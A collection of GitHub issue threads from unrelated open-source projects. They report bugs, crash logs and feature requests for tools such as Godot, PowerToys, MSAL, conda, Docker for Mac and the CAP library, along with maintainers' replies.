Title: Update Documentation with Examples Question: username_0: Hi there! I've come across this library via [https://discourse.roots.io/t/dev-library-acf-blocks-controllers-for-re-usable-field-groups/12264](url). I'm using Sage and ACF a lot and your library looks very promising. As I'm trying to implement it, I've stumbled across some problems which probably could be solved by updating the Docs. I'm mainly talking about: Examples - Code for a Repeater field (Class & Template) - Code for the Flexible Content Template (the Class is already there but no template code) Best Practices - Integrating this project into the Sage Folder Structure - Does Controller need to be disabled, can we use Blade Templates? Maybe you could share a basic setup, for working with Sage. That would be really nice! All the best, Stefan
bitpay/bitcore
693443993
Title: bitcore-p2p-cash: tests fail on Node.js v12 LTS Question: username_0: On Node.js v10 this `disconnect with max buffer length` test appears to pass (though it takes 2-3 seconds). On Node.js v12 LTS, the test fails: ``` Peer ✓ create instance ✓ create instance setting a port ✓ create instance setting a network ✓ create instance setting port and network ✓ create instance without new ✓ set a proxy ✓ send pong on ping ✓ relay error from socket ✓ will not disconnect twice on disconnect and error <--- Last few GCs ---> [16850:0x108008000] 6924 ms: Scavenge 824.6 (844.5) -> 808.6 (844.5) MB, 0.2 / 0.0 ms (average mu = 0.853, current mu = 0.838) allocation failure [16850:0x108008000] 6941 ms: Scavenge 824.6 (844.5) -> 808.6 (844.5) MB, 0.2 / 0.0 ms (average mu = 0.853, current mu = 0.838) allocation failure [16850:0x108008000] 6958 ms: Scavenge 824.6 (844.5) -> 808.6 (844.5) MB, 0.2 / 0.0 ms (average mu = 0.853, current mu = 0.838) allocation failure <--- JS stacktrace ---> ==== JS stack trace ========================================= 0: ExitFrame [pc: 0x1009d39b9] 1: StubFrame [pc: 0x100996007] 2: StubFrame [pc: 0x100a1b5e0] Security context: 0x05fb0d0408d1 <JSObject> 3: new Uint8Array(aka Uint8Array) [0x5fb0d057ad9](this=0x05fb48680591 <the_hole>,0x05fbeddbebe1 <JSArray[128000001]>) 4: ConstructFrame [pc: 0x100954c9a] 5: StubFrame [pc: 0x100a3807b] 6: new FastBuffer(aka FastBuffer) [0x5fb21ee4599] [internal/buffer.js:945] [bytecode=0x5fbaf... stderr: (node:16850) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead. FATAL ERROR: invalid array length Allocation failed - JavaScript heap out of memory 1: 0x1011c2ff5 node::Abort() (.cold.1) [/Users/_/n/bin/node] 2: 0x10009fbc9 node::Abort() [/Users/_/n/bin/node] 3: 0x10009fd2f node::OnFatalError(char const*, char const*) [/Users/_/n/bin/node] 4: 0x1001e3907 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, bool) [/Users/_/n/bin/node] 5: 0x1001e38a7 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, bool) [/Users/_/n/bin/node] 6: 0x1003695e5 v8::internal::Heap::FatalProcessOutOfMemory(char const*) [/Users/_/n/bin/node] 7: 0x100689b7d v8::internal::Runtime_FatalProcessOutOfMemoryInvalidArrayLength(int, unsigned long*, v8::internal::Isolate*) [/Users/_/n/bin/node] 8: 0x1009d39b9 Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit [/Users/_/n/bin/node] 9: 0x100996007 Builtins_IterableToList [/Users/_/n/bin/node] all: (node:16850) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead. ``` I'm sending a PR, just opening an issue to document it.<issue_closed> Status: Issue closed
Azure-Samples/active-directory-b2c-ios-swift-native-msal
564571191
Title: New user login Question: username_0: * Not working: Login successfully with one user and then without killing the application and again try to login "Use another account". It will ask for the new email to enter. After entering a new email and click on next. it's automatically getting old signed in account and login with that old account successfully. * Working: if I login successfully with one account and kill application then again open the application and go to the option "Use another account". Enter a new email address now it's asking for the password and login with new enter email. In short why I need to kill application to log in with Use another account. Waiting for the response. Thank you. Answers: username_1: fyi: @username_2 username_2: Is this the same issue? https://github.com/AzureAD/microsoft-authentication-library-for-objc/issues/850. username_0: Yes, I check all SDK. Same issue. I'm getting. Step-1: log in with a new email I'd. Step-2: After successful login with the first email you will get two options one already signed in email option and another "Use another account". Step-3: Click on Use another account. Enter a new email and press next. You now got successfully signed in with the first email I'd. Why it's not getting or asking for the password of a new enter email? But the same process is working if I kill the application and follow the step-3. Now it's asking for the password and login with entering email I'd. Means kill the application and restart the application it's work fine for Use another account option. But without kill application an try to login with another account. It has issue. yes, my email has the same domain name. 1. <EMAIL> 2. <EMAIL> Thank you. I hope you understand. username_0: Waiting for your response. Thank you username_2: Can you try following: ``` MSALInteractiveTokenParameters *parameters = [[MSALInteractiveTokenParameters alloc] initWithScopes:@[...] webviewParameters:webviewParameters]; parameters.promptType = MSALPromptTypeLogin; [application acquireTokenWithParameters:parameters completionBlock:completionBlock]; ``` username_0: Hello, Madam I coded like this. is it the wrong way? MSALInteractiveTokenParameters *interactiveParams = [[MSALInteractiveTokenParameters alloc] initWithScopes:scopes webviewParameters:webParameters]; [interactiveParams setPromptType:MSALPromptTypeSelectAccount]; username_0: Sorry, madam your sign way of prompt not working. `interactiveParams.promptType = MSALPromptTypeLogin;` But You assign like below code it's going to prompt mode. `[interactiveParams setPromptType:MSALPromptTypeSelectAccount];` But my issue is when I set prompt type. we have the two options already signed in email and another option is "Use another account". If you open just fresh application and click on use another account. You will get one screen where you have to enter an email. after click that you get a new screen where email already copies from a recent email, you enter. In the second screen, you have to enter the password and submit. Now you will get successfully login with entering email. Now the issue starts. Don't kill the application again try to login with using another account option. On click of that option. You will get enter email address screen up to this it's working perfectly. But after enter the new email address and click on next. It's never forwarded to a new enter email screen (Means not going to the password asking screen) and it's automatically signed in with already last signed in account and give its result. Please let me know if you have any queries. Thank you. madam. Please support me to resolve this issue. Have a great day. username_2: Closing as duplicate of https://github.com/AzureAD/microsoft-authentication-library-for-objc/issues/850. Let's track that issue in MSAL repository. Status: Issue closed
conda-forge/nc_time_axis-feedstock
791455391
Title: cannot import nc_time_axis (v1.2.0) Question: username_0: <!-- Thanks for reporting your issue. Please fill out the sections below. --> - [x] I read [the conda-forge documentation](https://conda-forge.org/docs/user/introduction.html#how-can-i-install-packages-from-conda-forge) and could not find the solution for my problem there. Issue: I have nc-time-axis installed (v1.2.0), mainly to use it with xarray. However, running `import nc_time_axis` results in `ModuleNotFoundError: No module named 'nc_time_axis'`. The conda environment in which nc-time-axis is installed is activated when this error occurs, and has python v3.8.5. OS: linux (hpc). Removing and re-installing nc-time-axis did not do the trick. <br/> Environment (<code>conda list</code>): <details> ``` $ conda list # packages in environment at /gpfs/home/username/.conda/envs/myenv: # # Name Version Build Channel _libgcc_mutex 0.1 main antlr-python-runtime 4.7.2 py38h32f6830_1002 conda-forge argon2-cffi 20.1.0 py38h7b6447c_1 async_generator 1.10 py_0 attrs 20.3.0 pyhd3eb1b0_0 backcall 0.2.0 py_0 blas 1.0 mkl bleach 3.2.1 py_0 bokeh 2.2.3 py38_0 bottleneck 1.3.2 py38heb32a55_1 brotlipy 0.7.0 py38h27cfd23_1003 bzip2 1.0.8 h7b6447c_0 ca-certificates 2020.12.5 ha878542_0 conda-forge cartopy 0.17.0 py38h3e2e9bd_1 certifi 2020.12.5 py38h578d9bd_1 conda-forge cf-units 2.1.4 py38hab2c0dc_2 conda-forge cffi 1.14.4 py38h261ae71_0 cftime 1.2.1 py38heb32a55_0 chardet 4.0.0 py38h06a4308_1003 click 7.1.2 py_0 cloudpickle 1.6.0 py_0 cmcrameri 0.12 py_0 conda-forge cryptography 3.3.1 py38h3c74f83_0 curl 7.71.1 hbc83047_1 cycler 0.10.0 py38_0 cytoolz 0.11.0 py38h7b6447c_0 dask 2.30.0 py_0 dask-core 2.30.0 py_0 dask-jobqueue 0.7.0 py_0 dbus 1.13.18 hb2f20db_0 decorator 4.4.2 py_0 defusedxml 0.6.0 py_0 distributed 2.30.1 py38h06a4308_0 entrypoints 0.3 py38_0 expat 2.2.10 he6710b0_2 fontconfig 2.13.0 h9420a91_0 freetype 2.10.4 h5ab3b9f_0 fsspec 0.8.3 py_0 geos 3.8.0 he6710b0_0 glib 2.66.1 h92f7085_0 gst-plugins-base 1.14.0 hbbd80ab_1 [Truncated] python version : 3.7.3.final.0 virtual packages : __glibc=2.17=0 __unix=0=0 __archspec=1=x86_64 base environment : /gpfs/software/ada/python/anaconda/2019.10/3.7 (read only) channel URLs : https://repo.anaconda.com/pkgs/main/linux-64 https://repo.anaconda.com/pkgs/main/noarch https://repo.anaconda.com/pkgs/r/linux-64 https://repo.anaconda.com/pkgs/r/noarch package cache : /gpfs/software/ada/python/anaconda/2019.10/3.7/pkgs /gpfs/home/username/.conda/pkgs envs directories : /gpfs/home/username/.conda/envs /gpfs/software/ada/python/anaconda/2019.10/3.7/envs platform : linux-64 user-agent : conda/4.9.2 requests/2.22.0 CPython/3.7.3 Linux/3.10.0-1062.1.2.el7.x86_64 centos/7.6.1810 glibc/2.17 UID:GID : 7515:9700 netrc file : None offline mode : False ``` </details> Answers: username_1: Your environment has mixed packages from defaults and conda-forge. Please take a look at https://conda-forge.org/docs/user/tipsandtricks.html#how-to-fix-it username_0: Followed the advice on the page you linked and got it working after removing and re-installing nc-time-axis. Thank you. Status: Issue closed
lesma/FanFic-Filter
494033341
Title: Breaking on closing the extension menu Question: username_0: When closing the menu with filters/settings/instructions etc., the can be opened again, but no filters are showing. No new filter tags can be added, pressing enter to confirm is simply ignored. Settings and Instruction buttons cease to work as well. Also, as noted by @Vantageright, the extension can be reset by disabling/reenabling it. Downside is, I have by now 3 "toolbars" (Select characters v Apply Character Filter + Loaded Pages _N_ of _N_ trice each) on my "searchpage"? ...Now on checking it's back to two toolbars (both lines twice) again. Did neither reload the tab or disable/reenable the extension. Select characters does not react upon clicking on it. One line shows 3 of 5 pages, the other 5 of 5 pages loaded. Both are green? Thought while loading the lines are red. Behavior is similar to #3, which is why I've took your (@lesma's) questions from there. 1. Just installed and tried it. Bug appeared upon opening the menu for the second time. 2. 0 in my case. Like I said, all it takes for me is to close the menu of the extension. Disabling/reenabling it 3. FanFiction.net 4. Right now... version 69. 5. Yes, user account does not appear to matter.
zy445566/node-digital-watermarking
354213637
Title: Still possible to retrieve watermark after processing? Question: username_0: This looks nice! Can you still retrieve the watermark after the image has been processed? For example: 1) cropped 2) horizontally flipped etc. See this repo for examples of processing of the image: https://github.com/mchall/HiddenWatermark Answers: username_1: Only cropped has been tested,other not sure. username_0: Ok, thanks!
godotengine/godot
841988510
Title: ProgressBar with max value 10 can't reach 100% Question: username_0: <!-- Please search existing issues for potential duplicates before filing yours: https://github.com/godotengine/godot/issues?q=is%3Aissue --> **Godot version:** <!-- Specify commit hash if using non-official build. --> 166a6d0 / 3.3rc6 **Steps to reproduce:** 1. Add ProgressBar node 2. Set max value to 10 3. ![image](https://user-images.githubusercontent.com/2223172/112643072-3ef38880-8e44-11eb-9213-f470d4dc26ea.png) ![image](https://user-images.githubusercontent.com/2223172/112643083-43b83c80-8e44-11eb-8022-9625cf05f411.png) Also the percents are not accurate at all, e.g. 1/10 is 9%. Could be another float precision issue, but it looks really bad in this case. Answers: username_1: I can only reproduce this bug when running Godot through the .exe, then creating a brand new progress bar. Using a progress bar from a saved project shows the correct percentages. I can't reproduce the bug when using the visual studio debugger. username_2: I think I found the problem, the get_as_ratio() method in progress_bar.cpp returns 0.99999525... ![image](https://user-images.githubusercontent.com/12397702/112681602-4419fd00-8e6f-11eb-97ba-7b1e613e1478.png) the ratio then gets converted to an int ![image](https://user-images.githubusercontent.com/12397702/112681817-817e8a80-8e6f-11eb-8f4c-ac9c62aab4ce.png) which is 99.999999 to int is 99 username_0: Maybe the value should be rounded. username_3: @username_0 I think rounding should be implemented, but I think there's another issue that needs to be solved. I discovered this bug while investigating this issue: ![precision_error](https://user-images.githubusercontent.com/80655527/112714621-5b211500-8e98-11eb-86a3-ff821618ebd5.png) I was able to trace the issue down to `editor_properties.cpp:3284`, `EditorInspectorDefaultPlugin::parse_property`. ![Screenshot from 2021-03-27 01-08-17](https://user-images.githubusercontent.com/80655527/112714732-f914df80-8e98-11eb-84d5-41ad1d16b46f.png) Despite the name, I believe the `default_float_step` is converting a double into a float. The end result is a step size of 0.00100005. I'm working on submitting a PR that does fix this particular issue, but it doesn't use rounding Status: Issue closed
ryu1kn/vscode-text-marker
353007242
Title: Transparency/opacity setting for highlights Question: username_0: As the highlights from text marker are non-transparent, they hide the things that VSCode displays in the background (e.g. vertical lines for indents, display of matching braces, ...). Is it possible to introduce a transparency setting, to allow to see the background through the highlight? Or is there already such a setting or workaround that allows this? Answers: username_1: Hello @username_0 , thanks for your suggestion and the explanation of why you want it! I got your point. At the moment there is no such settings, but as Code allows us to pass `opacity` for the markup, it shouldn’t be difficult to introduce one. https://code.visualstudio.com/docs/extensionAPI/vscode-api#DecorationRenderOptions I’ll see if setting transparency does make vertical indent lines, matching braces stay visible. username_1: Shame, it's not as easy as I though it would. Giving `opacity` makes just the text opaque but not the background colour... To make indentation lines and matching braces colours visible, we need to change the background colour opaque. Currently user can give any colour specs to Text Marker (like `#ddd`, `darkgray` or `rgb(100, 100, 100)`) but we need to somehow convert it to RGB value and give opacity like `rgba(100, 100, 100, 0.3)`. Hmm... username_1: Actually, so even now, if you give `rgba` colours to `textmarker.highlightColors` (like `"rgba(184, 134, 11, .3)"`), you can make indentation lines and matching braces under highlight visible. You need to manually define all the colours with opacity values, but it solves your problem... 😃 username_0: Amazing! I've been using custom hex values anyways, so changing to rgba is a) no big deal and b) perfectly solves my problem. Multiple highlighted patterns even seem to stack correctly, i.e. 2x white at 50% results in 100%. Thanks for the quick response, much appreciated! username_1: Awesome! I’ll leave this issue open to explore the possibility of introducing an opacity config which all colours respect unless they have opacity specified on its own. Or i might just end up converting defaul colours to `rgba` for now... username_1: Maybe we can use this library. https://www.npmjs.com/package/color-rgba Status: Issue closed username_1: Released as v1.7.0! @username_0 Thank you for the idea :tada:
ErikAGriffin/music-server
72473639
Title: All redis values are strings Question: username_0: Note: To fix the 'false' string bug, storing the objects as stringified strings in the redis database. But I would prefer to store them in a redis hash, and will do so upon finding a clean way of doing so. Status: Issue closed Answers: username_0: Note: To fix the 'false' string bug, storing the objects as stringified strings in the redis database. But I would prefer to store them in a redis hash, and will do so upon finding a clean way of doing so. Status: Issue closed
statsmodels/statsmodels
701978301
Title: TST: check pickling support for newer models Question: username_0: My guess is that we are missing unit tests for pickling of models and results from different fit_xxx, with or without formula. maybe bugs if `model.data.frame` is None https://github.com/statsmodels/statsmodels/pull/7021#issuecomment-692750497
MyEssentials/MyTown2
66493538
Title: Hi, having nex crashes now with mytown. :( Can Iask you haw is the next version going? Question: username_0: ---- Minecraft Crash Report ---- // This doesn't make any sense! Time: 4/6/15 12:03 AM Description: Exception getting block type in world java.lang.NullPointerException: Exception getting block type in world at net.minecraft.world.gen.structure.StructureStart.func_75068_a(StructureStart.java:44) at net.minecraft.world.gen.structure.MapGenStructure.func_75051_a(MapGenStructure.java:93) at net.minecraft.world.gen.ChunkProviderGenerate.func_73153_a(ChunkProviderGenerate.java:382) at net.minecraft.world.gen.ChunkProviderServer.func_73153_a(ChunkProviderServer.java:279) at net.minecraft.world.chunk.Chunk.func_76624_a(Chunk.java:1055) at net.minecraft.world.gen.ChunkProviderServer.originalLoadChunk(ChunkProviderServer.java:190) at net.minecraft.world.gen.ChunkProviderServer.loadChunk(ChunkProviderServer.java:131) at net.minecraft.world.gen.ChunkProviderServer.func_73158_c(ChunkProviderServer.java:101) at net.minecraft.world.gen.ChunkProviderServer.func_73154_d(ChunkProviderServer.java:199) at net.minecraft.world.World.func_72964_e(World.java:419) at net.minecraft.world.World.func_147439_a(World.java:345) at net.minecraft.block.BlockStaticLiquid.func_149817_o(SourceFile:64) at net.minecraft.block.BlockStaticLiquid.func_149674_a(SourceFile:41) at net.minecraft.world.WorldServer.func_147456_g(WorldServer.java:391) at net.minecraft.world.WorldServer.func_72835_b(WorldServer.java:183) at net.minecraft.server.MinecraftServer.func_71190_q(MinecraftServer.java:625) at net.minecraft.server.dedicated.DedicatedServer.func_71190_q(DedicatedServer.java:334) at net.minecraft.server.MinecraftServer.func_71217_p(MinecraftServer.java:547) at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:427) at net.minecraft.server.MinecraftServer$2.run(MinecraftServer.java:685) A detailed walkthrough of the error, its code path and all known details is as follows: --------------------------------------------------------------------------------------- -- Head -- Stacktrace: at net.minecraft.world.gen.structure.StructureStart.func_75068_a(StructureStart.java:44) at net.minecraft.world.gen.structure.MapGenStructure.func_75051_a(MapGenStructure.java:93) at net.minecraft.world.gen.ChunkProviderGenerate.func_73153_a(ChunkProviderGenerate.java:382) at net.minecraft.world.gen.ChunkProviderServer.func_73153_a(ChunkProviderServer.java:279) at net.minecraft.world.chunk.Chunk.func_76624_a(Chunk.java:1055) at net.minecraft.world.gen.ChunkProviderServer.originalLoadChunk(ChunkProviderServer.java:190) at net.minecraft.world.gen.ChunkProviderServer.loadChunk(ChunkProviderServer.java:131) at net.minecraft.world.gen.ChunkProviderServer.func_73158_c(ChunkProviderServer.java:101) at net.minecraft.world.gen.ChunkProviderServer.func_73154_d(ChunkProviderServer.java:199) at net.minecraft.world.World.func_72964_e(World.java:419) -- Requested block coordinates -- Details: Found chunk: true Location: World: (16,11,-828), Chunk: (at 0,0,4 in 1,-52; contains blocks 16,0,-832 to 31,255,-817), Region: (0,-2; contains chunks 0,-64 to 31,-33, blocks 0,0,-1024 to 511,255,-513) Stacktrace: at net.minecraft.world.World.func_147439_a(World.java:345) at net.minecraft.block.BlockStaticLiquid.func_149817_o(SourceFile:64) at net.minecraft.block.BlockStaticLiquid.func_149674_a(SourceFile:41) at net.minecraft.world.WorldServer.func_147456_g(WorldServer.java:391) at net.minecraft.world.WorldServer.func_72835_b(WorldServer.java:183) -- Affected level -- Details: Level name: world All players: 2 total; [EntityPlayerMP['net13'/4006, l='world', x=-126.25, y=110.92, z=-741.24], EntityPlayerMP['Jirinka'/67403, l='world', x=-497.25, y=72.00, z=945.63]] [Truncated] ProjRed|Transportation{172.16.31.10} [ProjectRed-Transportation] (ProjectRed-1.7.10-4.5.9.60-Mechanical_beta.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available ProjRed|Compatibility{4.5.9.60} [ProjectRed-Compatibility] (ProjectRed-1.7.10-4.5.9.60-Compat.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available ProjRed|Integration{4.5.9.60} [ProjectRed-Integration] (ProjectRed-1.7.10-4.5.9.60-Integration.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available ProjRed|Illumination{4.5.9.60} [ProjectRed-Illumination] (ProjectRed-1.7.10-4.5.9.60-Lighting.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available ProjRed|Expansion{4.5.9.60} [ProjectRed-Expansion] (ProjectRed-1.7.10-4.5.9.60-Mechanical_beta.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available ServerTools{1.7.10-2.2.0.79} [ServerTools] (ServerTools-CORE-1.7.10-2.2.0.79.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available ServerTools-BACKUP{1.7.10-2.2.0.23} [ServerTools Backup] (ServerTools-BACKUP-1.7.10-2.2.0.23.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available TooMuchTime{2.4.0} [TooMuchTime] (TooMuchTime-1.7.10-2.4.0.B3-universal.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available Tubes{2.0.5} [Tubes] (Tubes-1.7.10-2.0.5.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available Tubestuff{59.0.1} [Tubestuff] (tubestuff-59.0.1.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available TwilightForest{2.3.2} [The Twilight Forest] (twilightforest-1.7.10-2.3.2.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available McMultipart{1.1.1.320} [Minecraft Multipart Plugin] (ForgeMultipart-1.7.10-1.1.1.320-universal.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available MyTown2{1.7.10-0.26a} [MyTown 2] (MyTown2-1.7.10-0.26a.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available ForgeMicroblock{1.1.1.320} [Forge Microblocks] (ForgeMultipart-1.7.10-1.1.1.320-universal.jar) Unloaded->Constructed->Pre-initialized->Initialized->Post-initialized->Available->Available->Available->Available MyTown|Datasource: ~~ERROR~~ NullPointerException: null Profiler Position: N/A (disabled) Vec3 Pool Size: 0 (0 bytes; 0 MB) allocated, 0 (0 bytes; 0 MB) used Player Count: 2 / 60; [EntityPlayerMP['net13'/4006, l='world', x=-126.25, y=110.92, z=-741.24], EntityPlayerMP['Jirinka'/67403, l='world', x=-497.25, y=72.00, z=945.63]] Is Modded: Definitely; Server brand changed to 'fml,forge' Type: Dedicated Server (map_server.txt) Answers: username_1: What exactly do you mean? The crash doesn't seem to be related to MyTown2. username_0: I am sorry, I posted bad crash-report. Edited and this fault: MyTown|Datasource: ~~ERROR~~ NullPointerException: null seems to me like MyTown related. username_1: Not quite, it just means that the datasource was forced to close. It doesn't have much to do with MyTown2 itself. How did you get the crash? Status: Issue closed username_1: No response, closing. username_2: seems right :D
BYU-ODH/yvideo
593647360
Title: Reorganize how we do Authentication and Authorization Question: username_0: So, @verdude correct me if I'm wrong, but the current flow goes something like this: ## Authentication There is a link on the App (the React.js front-end) that navigates to an endpoint on the API, which then redirects to the CAS login page. After you log in, CAS will set a cookie to the domain that made the OAuth request (in this case, our API), which includes an access token and user info. ## Authorization Once the API has the user info, it can authorize requests made through `axios` from the App because it sets a cookie which is sent with every request, via the `{ includeCredentials: true }` option in `axios`. So if I have this right, there are 2 cookies: 1. The cookie that is sent from CAS to the API 2. The cookie that is sent between the API and the App However, Google Chrome has now set a new rule that you can only send cookies that have the `Same-Site` and `Secure` attributes set. Our App is not on the `Same-Site` as the API, and if you set the cookie to `Secure`, then JavaScript does not have access to it. Currently it's preventing us from logging in with Google Chrome, so we need to figure out which cookie needs those attributes, and we need to figure out if it's still possible to log in if we do set those attributes.
docker/for-mac
544644170
Title: startup hangs on new mac Question: username_0: <!-- Please, check https://docs.docker.com/docker-for-mac/troubleshoot/. Issues without logs and details cannot be debugged, and will be closed. Issues unrelated to Docker for Mac will be closed. In particular, see - https://github.com/docker/compose/issues for docker-compose - https://github.com/docker/machine/issues for docker-machine - https://github.com/moby/moby/issues for Docker daemon - https://github.com/docker/docker.github.io/issues for the documentation --> <!-- Replace `- [ ]` with `- [x]`, or click after having submitted the issue. --> - [ ] I have tried with the latest version of my channel (Stable or Edge) - [ ] I have uploaded Diagnostics - Diagnostics ID: ### Expected behavior ### Actual behavior ### Information <!-- Please, help us understand the problem. For instance: - Is it reproducible? - Is the problem new? - Did the problem appear with an update? - A reproducible case if this is a bug, Dockerfiles FTW. --> - macOS Version: ### Diagnostic logs <!-- Full output of the diagnostics from "Diagnose & Feedback" in the menu ... --> ``` Docker for Mac: version... ``` ### Steps to reproduce the behavior <!-- A reproducible case, Dockerfiles FTW. --> 1. ... 2. ... Answers: username_1: Version 2.1.7.0 from the Edge branch works on Catalina. https://docs.docker.com/docker-for-mac/edge-release-notes/ Status: Issue closed
microsoft/PowerToys
804021124
Title: Opening windows color settings from inside powertoys doesn't work Question: username_0: <!-- **Important: When reporting BSODs or security issues, DO NOT attach memory dumps, logs, or traces to Github issues**. Instead, send dumps/traces to <EMAIL>, referencing this GitHub issue. --> ## ℹ Computer information - PowerToys version: 0.31.2 - PowerToy Utility: All - Running PowerToys as Admin: yes - Windows build number: 1909-18363.1256 ## 📝 Provide detailed reproduction steps (if any) 1. Clicking Windows color settings button inside powertoys doesn't do anything 2. … 3. … ### ✔️ Expected result Windows color settings should open ### ❌ Actual result Windows color settings doesn't open ## 📷 Screenshots ![image](https://user-images.githubusercontent.com/34947993/107289149-de131b00-6a64-11eb-9702-6b69180001b2.png) Answers: username_1: @username_0 thank you for reporting the issue. username_1: Note to dev: the current way the Windows Settings page is opened is causing to prompt this dialog: ![image](https://user-images.githubusercontent.com/3206696/107298241-436f0800-6a75-11eb-91b2-a6197dc5a2ea.png) there are three places where this is done: https://github.com/microsoft/PowerToys/blob/f0600f17257d3f6a05f36b846a4eb3822813571f/src/settings-ui/Microsoft.PowerToys.Settings.UI/Views/ShortcutGuidePage.xaml#L110 https://github.com/microsoft/PowerToys/blob/1364f78b30c0b1377fe2f2b0178603267392a9ab/src/settings-ui/Microsoft.PowerToys.Settings.UI/Views/GeneralPage.xaml#L109 https://github.com/microsoft/PowerToys/blob/f0600f17257d3f6a05f36b846a4eb3822813571f/src/settings-ui/Microsoft.PowerToys.Settings.UI/Views/PowerLauncherPage.xaml#L175 we should replace the XAML HyperlinkButton element with a button that invokes: ``` Process.Start(new ProcessStartInfo("ms-settings:settings:colors") { UseShellExecute = true }); ``` that will open the settings page without prompting the pointless dialog and might also fix this bug. username_2: @username_1 The described problems sounds like duplicate of #7651 and #7652. username_1: @username_2 thanks for pointing that out. The proposed changed will fix #7652 as well. username_1: @username_0 we are not sure the fix will solve your problem, but since we changed the way we open the Windows Settings page, we mark this issue as resolved for now. If 0.33 will still not work for you, we will reopen the issue. username_3: Why does the prompt say "Applications"? username_2: As I know it's a xaml-islands bug. username_3: I see [MS recommends](https://docs.microsoft.com/en-us/windows/uwp/launch-resume/launch-settings-app) using `LaunchUriAsync`, would that not be better? ``` C# bool result = await Windows.System.Launcher.LaunchUriAsync(new Uri("ms-settings:privacy-webcam")); ``` username_1: @username_3 the fix for this issue has already been committed. username_4: Great news! This was resolved in the newly released 0.33 version of PowerToys! Head to https://aka.ms/installpowertoys to grab latest. Status: Issue closed
xen0n/go-workwx
544087770
Title: 为何go get -u 会报错 Question: username_0: go: gopkg.in/urfave/[email protected]: go.mod has non-....v2 module path "github.com/urfave/cli/v2" at revision v2.1.1 Answers: username_1: `go version` 输出? `go env` 输出? username_1: ping username_1: 啊,这块应该已经 fixed in commit 372d15b9879caa1611786373ecaf2ebb9d4de9e5 Status: Issue closed
paulmillr/chokidar
145242209
Title: Watching /dev/* on os x doesn't work Question: username_0: Might be, because the entries are no files? The watch never get's triggered (e.g. pluggin in a device that has a serial connection) On ubuntu it works just fine example: var chokidar = require('chokidar'); chokidar.watch('/dev/*').on('all', function() { console.log('event fired'); }); doesn't work on os x but does on ubuntu for me. Any ideas?<issue_closed> Status: Issue closed
gocd/gocd
105006728
Title: Alpine package does not exist Question: username_0: I've created a gocd server and agent docker container - https://github.com/username_0/docker-gocd-server and https://github.com/username_0/docker-gocd-agent - which are based of off debian:jessie. They are still very large at 416 and 154 MB. I'm trying to shrink those by another 79MB by basing them off of alpine linux, however there is not gocd package for neither the server and the agent on https://pkgs.alpinelinux.org/packages. Could you provide packages for Alpine Linux? Instructions on how to create them are at http://wiki.alpinelinux.org/wiki/Creating_an_Alpine_package. OpenJDK support used to be an issue on alpine, but is there these days and can be installed with ```apk --update add openjdk7-jre```. Thanks. Answers: username_1: Have you tried using the zip installers? They are distribution agnostic and can be used for alpine linux. Officially, we don't have the resources (build/test machines, test scripts etc) to add and maintain alpine packages. Closing this for now. If someone wants to provide an un-official repo please feel free to do so. Status: Issue closed
dotnetcore/CAP
404711695
Title: 列名 'Version' 无效 Question: username_0: <!-- Thank you for reporting an issue. 1. It's RECOMMENDED to submit PR for typo or tiny bug fix. 2. If this's a FEATURE request, please provide: details, pseudo codes if necessary. 3. If this's a BUG, please provide: course repetition, error log and configuration. Fill in as much of the template below as you're able. 感谢您向我们反馈问题。 1. 提交问题前,请先阅读 https://github.com/dotnetcore/CAP/wiki 上的文档。 2. 我们推荐如果是小问题(错别字修改,小的 bug fix)直接提交 PR。 3. 如果是一个新需求,请提供:详细需求描述,最好是有伪代码实现。 4. 如果是一个 BUG,请提供:复现步骤,错误日志以及相关配置,并尽量填写下面的模板中的条目。 6. 如果可能,请使用【英文】来提交你的问题。 --> Please answer these questions before submitting your issue. - Why do you submit this issue? - [ ] Question or discussion - [x ] Bug - [ ] Requirement - [ ] Feature or performance improvement ___ ### Question - What do you want to know? ___ ### Bug - Which version of CAP, OS and .NET Core? netcoreapp2.0, DotNetCore.CAP.RabbitMQ2.4.2 ,DotNetCore.CAP.SqlServer2.4.2 - Which company or project? CAP - What happen? If possible, provide a way for reproducing the error. e.g. demo application, component version. 列名 'Version' 无效 _capBus.Publish(”ddd.lcn“, message); Details: 2019-01-30 17:58:28.4193|CAP.Web.Controllers.HomeController|ERROR|System.Data.SqlClient.SqlException (0x80131904): 列名 'Version' 无效。 at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction) at System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose) at System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady) at System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString) at System.Data.SqlClient.SqlCommand.CompleteAsyncExecuteReader() at System.Data.SqlClient.SqlCommand.EndExecuteNonQueryInternal(IAsyncResult asyncResult) at 